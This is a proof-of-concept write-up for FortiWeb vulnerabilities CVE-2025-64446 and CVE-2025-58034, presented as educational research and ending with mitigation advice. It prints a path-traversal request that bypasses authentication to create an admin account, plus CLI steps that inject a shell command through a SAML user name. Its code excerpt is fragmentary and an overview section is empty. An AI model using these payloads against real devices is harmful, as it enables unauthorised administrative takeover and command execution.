FortiWeb Exploit Simulation (CVE-2025-64446 & CVE-2025-58034)

Note:

• This document is for educational and security research purposes only.
• Do not use to attack systems without authorization.

1. Overview

FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.

In 2025, two critical vulnerabilities were discovered:

• CVE-2025-64446 – Authentication Bypass via Path Traversal
• CVE-2025-58034 – OS Command Injection

2. Overview of CVE-2025-64446

Example:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Overview of CVE-2025-58034

4. Experiment Process (POC)

4.1. Environment Setup:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

This helps avoid library version conflicts, ensures a stable working environment, and minimizes impact on the system

4.2 Exploitation

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Run the tool with Python3:

python3 exploit.py <IP_target>

• <IP_target>: The IP address here is the hostname of the FortiWeb device.

Obtaining username and password -> proceed to login

Exploitation successful and a new account with admin privileges is created.

4.3 Exploiting CVE-2025-58034 After Account Login

After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly via the FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb will break out of the configuration string and execute the id command during the saml-user configuration.

5. Mitigation Measures

• Update FortiWeb to a patched version.
• Restrict access to the management interface.
• Do not expose the management interface to the Internet.
• Check for anomalous admin accounts.

6. Additional References

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034